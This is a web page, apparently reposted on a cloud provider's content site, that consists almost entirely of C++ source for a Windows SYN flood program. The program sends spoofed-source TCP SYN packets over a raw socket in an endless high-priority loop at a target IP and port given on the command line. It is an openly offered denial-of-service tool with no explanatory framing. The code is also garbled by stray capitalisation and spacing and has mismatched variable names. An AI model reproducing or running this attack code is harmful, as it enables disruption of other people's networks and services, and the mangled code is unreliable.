SYN flood C ++ Program

Source: Internet
Author: User
Tags htons

# Include <winsock2.h>
# Include <ws2tcpip. h>
# Include <windows. h>
# Include <stdio. h>

# Pragma comment (Lib, "ws2_32 ")
# Pragma comment (Lib, "wsock32 ")
# Define fake_ip "201.79.131.18"
# Define seq 0x28376839
# Define right "===================== coder Paris-ye ================================ ===\ N"
Ushort checksum (ushort * buffer, int size );
Int flood ();

Typedef struct tcphdr
{
Ushort th_sport;
Ushort th_dport;
Unsigned int th_seq;
Unsigned int th_ack;
Unsigned char th_lenres;
Unsigned char th_flag;
Ushort th_win;
Ushort th_sum;
Ushort th_urp;
} Tcp_header;

Typedef struct iphdr
{
Unsigned char h_verlen;
Unsigned char TOS;
Unsigned short total_len;
Unsigned short ident;
Unsigned short frag_and_flags;
Unsigned char TTL;
Unsigned char proto;
Unsigned short checksum;
Unsigned int sourceip;
Unsigned int destip;
} Ip_header;

Struct
{
Unsigned long saddr;
Unsigned long daddr;
Char mbz;
Char ptcl;
Unsigned short tcpl;
} Psd_header;

Wsadata;
Socket sockmain = (socket) NULL;
Int errorcode = 0, flag = true, timeout = 2000, fakeipnet, fakeiphost, datasize = 0, sendseq = 0;
Unsigned short activports = 40000;
Struct sockaddr_in sockaddr;
Tcp_header tcpheader;
Ip_header ipheader;
Char sendbuf [128];

Ushort checksum (ushort * buffer, int size)
{
Unsigned long cksum = 0;
While (size> 1 ){
Cksum + = * buffer ++;
Size-= sizeof (ushort );
}
If (size) cksum + = * (uchar *) buffer;
Cksum = (cksum> 16) + (cksum & 0 xFFFF );
Cksum + = (cksum> 16 );
Return (ushort )(~ Cksum );
}

Int main (INT argc, char * argv [])
{
Int portnum = 0;
DWORD dw;
Handle hthread = NULL;
Char putinfo;

If (argc! = 3)
{
Printf ("% s \ n", right );
Printf ("invalid command, pls use: \ n % S <ip> <port> \ nexample: % s 192.168.100.244 80", argv [0], argv [0]);
Return 1;
}
If (errorcode = wsastartup (makeword (2, 1), & wsadata ))! = 0 ){
Printf ("wsastartup failed: % d \ n", errorcode );
Return 2;
}
Sockmain = wsasocket (af_inet, sock_raw, ipproto_raw, null, 0, wsa_flag_overlapped );
If (sockmain = invalid_socket)
{
Printf ("socket failed: % d \ n", wsagetlasterror ());
Return 3;
}
Errorcode = setsockopt (sockmain, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (INT ));
If (errorcode = socket_error)
{
Printf ("set sockopt failed: % d \ n", wsagetlasterror ());
Return 4;
}
Errorcode = setsockopt (sockmain, sol_socket, so_sndtimeo, (char *) & timeout, sizeof (timeout ));
If (errorcode = socket_error)
{
Printf ("set sockopt time out failed: % d \ n", wsagetlasterror ());
Return 5;
}
Portnum = atoi (argv [2]);

Memset (& sockaddr, 0, sizeof (sockaddr ));
Sockaddr. sin_family = af_inet;
Sockaddr. sin_addr.s_addr = inet_addr (argv [1]);
Fakeipnet = inet_addr (fake_ip );
Fakeiphost = ntohl (fakeipnet );

Ipheader. h_verlen = (4 <4 | sizeof (ip_header)/sizeof (unsigned long ));
Ipheader. total_len = htons (sizeof (ip_header) + sizeof (tcp_header ));
Ipheader. ident = 1;
Ipheader. frag_and_flags = 0;
Ipheader. TTL = 128;
Ipheader. proto = ipproto_tcp;
Ipheader. checksum = 0;
Ipheader. sourceip = htonl (fakeiphost + sendseq );
Ipheader. destip = inet_addr (argv [1]);

Tcpheader. th_dport = htons (portnum );
Tcpheader. th_sport = htons (portnum );
Tcpheader. th_seq = htonl (SEQ + sendseq );
Tcpheader. th_ack = 0;
Tcpheader. th_lenres = (sizeof (tcp_header)/4 <4 | 0 );
Tcpheader. th_flag = 2;
Tcpheader. th_win = htons (16384 );
Tcpheader. th_urp = 0;
Tcpheader. th_sum = 0;

Psd_header.saddr = ipheader. sourceip;
Psd_header.daddr = ipheader. destip;
Psd_header.mbz = 0;
Psd_header.ptcl = ipproto_tcp;
Psd_header.tcpl = htons (sizeof (tcpheader ));
Printf ("% s \ n", right );
Hthread = createthread (null, 0, (lpthread_start_routine) flood, 0, create_suspended, & DW );
Setthreadpriority (hthread, thread_priority_highest );
Resumethread (hthread );
Printf ("warning [start]... \ npress any key to stop! \ N ");
Putinfo = getchar ();
Terminatethread (hthread, 0 );
Wsacleanup ();
Printf ("\ nstopd... \ n ");

Return 0;
}

Int flood ()
{
While (1)
{
If (sendseq ++ = 65536) sendseq = 1;
If (activport ++ = 40010) activport = 1000;
Ipheader. checksum = 0;
Ipheader. sourceip = htonl (fakeiphost + sendseq );
Tcpheader. th_seq = htonl (SEQ + sendseq );
Tcpheader. th_sport = htons (activport );
Tcpheader. th_sum = 0;
Psd_header.saddr = ipheader. sourceip;
Memcpy (sendbuf, & psd_header, sizeof (psd_header ));
Memcpy (sendbuf + sizeof (psd_header), & tcpheader, sizeof (tcpheader ));
Tcpheader. th_sum = checksum (ushort *) sendbuf, sizeof (psd_header) + sizeof (tcpheader ));

Memcpy (sendbuf, & ipheader, sizeof (ipheader ));
Memcpy (sendbuf + sizeof (ipheader), & tcpheader, sizeof (tcpheader ));
Memset (sendbuf + sizeof (ipheader) + sizeof (tcpheader), 0, 4 );
Datasize = sizeof (ipheader) + sizeof (tcpheader );
Ipheader. checksum = checksum (ushort *) sendbuf, datasize );
Memcpy (sendbuf, & ipheader, sizeof (ipheader ));
Errorcode = sendto (sockmain, sendbuf, datasize, 0, (struct sockaddr *) & sockaddr, sizeof (sockaddr ));
If (errorcode = socket_error)
{
Printf ("\ ncan't connect this IP! Pls check it. \ n ");
Exitthread (1 );
}
// Sleep (1, 1000 );
}
Return 0;

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.